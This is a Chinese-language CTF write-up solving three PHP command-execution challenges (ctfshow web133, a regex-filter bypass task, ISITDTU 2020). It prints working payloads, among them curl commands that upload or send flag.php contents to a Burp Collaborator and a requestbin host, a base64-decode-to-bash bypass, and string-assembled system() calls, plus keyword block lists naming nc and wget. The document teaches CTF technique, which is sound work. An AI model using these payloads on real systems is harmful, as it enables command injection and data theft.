这里是总结自己最近遇到的命令执行题,感觉还是不错分享出来。也欢迎师傅们评论一些骚操作
一. ctfshow web入门 133
1.正常解
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}
}
这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F
本身,会不会发生变量覆盖?
那我们来一个简单的测试,
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
使用方法
所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag
在线工具
2.新思路
但是总是有师傅用其他方法,嘻嘻嘻比如说羽师傅
羽师傅是利用curl 去带出数据类似于dnslog
但是自己之前测试过带出数据只能一排一排的带出,数据太多就不行
测试
#执行命令
?F=`$F`;+curl http://requestbin.net/r/1puo0jq1?p=`cat test.php`
#接收到的数据如下图
而我的test.php内容是
这就说明只能一排一排的带出数据。
那么我们想一想flag.php里面肯定有flag想一想有没有特点用于区别其他行?
hhh,当然是flag{}
啦,我们就可以使用grep 命令进行筛选
(经过测试发现一排只能带65个字符)
实验
?F=`$F`;+curl http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`
#接收到的数据如下图
test2.php内容是
成功获得flag
细心的师傅就会发现6个字符截断其实是一个小小的坑~
还有这里解释一下,反弹shell可能不会成功,自己测试了一下大概是因为&
符合的影响,在GET方法中识别成变量的分隔符。可能是我太菜了,没有成功~。成功的师傅可以分析一下呢
二. 师傅们分享的一道题
1.base64绕过
<?php
error_reporting(0);
print_r('system($_GET["cmd"]);');
$cmd = $_GET['cmd'];
if (preg_match('/g| |\?|\*|\[|\]|p/i', $cmd)) {die('no');
}
system($cmd);
?>
这里源代码非常简单就是不能匹配正则表达式上面的字母
想一想可以通过编码的方法来绕过,linux下面支持base64编码和解码。
base64 -d
用来解码。
使用思路就清楚啦,先将命令进行base64编码然后去base64 -d解码,然后通过bash去执行。
payload:echo$IFS$9Y2F0ICAvZmxhZwo=|base64$IFS$9-d|bash
意思是:
echo cat /flag | base64 -d|bash
将cat /flagbase64编码的进行base64解码然后通过bash执行
(注意的是需要多次改变空格来保证不需要命令执行情况而且不能包含正则表达式上面的字母)
2. 其他思路
和这个方法差不多的方法是16进制
xxd的作用就是将一个文件以十六进制的形式显示出来
xxd -ps:-ps 参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储
xxd -r -p:-r参数:逆向转换。将16进制字符串表示转为实际的数
三. ISITDTU QUALS 2020
<?php
// error_reporting(E_ALL);
// ini_set('display_errors', '1');
function trigonometric_check($code) {// Check lengthif (strlen($code) >= 0x100) {//256长度return false;}// Trim code过滤这些字符$code = preg_replace("/(\\s|\\r|\\n|\\t)/", " ", $code);// Danger keyword 黑名单 过滤 ` $ include require #等等$blacklist = array("`", "\\$", "include", "require", "#");foreach ($blacklist as $b) {if(preg_match("/($b)/i", $code, $m)) {return false;}}// Fillter functionpreg_match_all("/([a-zA-Z]+)[\\s\\t\\r\\n\/\*]*\(/", $code, $match);//必须进行匹配$trigonometric_functions = array("sin", "asin", "cos", "acos", "tan", "atan");// Missing trigonometric function//count() 函数返回数组中元素的数目。if (count($match[1]) === 0) {return false;//如果匹配不成功就返回0就false}// Only trigonometric functionforeach($match[1] as $func) {if (!in_array($func, $trigonometric_functions)) {return false;//只能利用三角函数}}return true;
}function trigonometric($code) {if (!trigonometric_check($code)) {echo "Error!";return;}echo eval("echo ".$code.";");
}$input = $_POST["input"];if (!isset($input)) {highlight_file(__FILE__);exit;
}
trigonometric($input);//三角函数
?> //payload
//((("p".[])[sin(0)]).(("h".[])[sin(0)]).(("p".[])[sin(0)]).(("i".[])[sin(0)]).(("n".[])[sin(0)]).(("f".[])[sin(0)]).(("o".[])[sin(0)]))('ls')
//((("s".[])[sin(0)]).(("y".[])[sin(0)]).(("s".[])[sin(0)]).(("t".[])[sin(0)]).(("e".[])[sin(0)]).(("m".[])[sin(0)]))('nl *')
上面的代码进行了简单的分析
上面的payload是m3w师傅想出来的。这里就简单的分析一下
我们通过数组的方法去获得字母然后进行拼接,因为sin(0)是等于0的相当于获取我们数组的第一个字母
<?php
error_reporting(0);
var_dump(("a".[])[sin(0)]);#string(1) "a"
var_dump(("ab3456789")[[0]]);#string(1) "b"
var_dump((("s".[])[sin(0)]));#string(1) "s"
经过测试发现一个小小的问题就是第二排为什么返回的是b
,而且不管数组里面的0还是好多都返回b
去掉error_reporting(0);报错信息发现出现了PHP Warning: Illegal offset type
好像是非法字符的偏移,不是特别懂。
然后和atao师傅讨论,可能是因为如果数组中嵌套的数组非空,无论有几个键,都是返回1
<?php
$a=[0,1,2,3];
var_dump(("ab3456789")[$a[1]]);#string(1) "b",并且没有报错,说明我们想的是正确的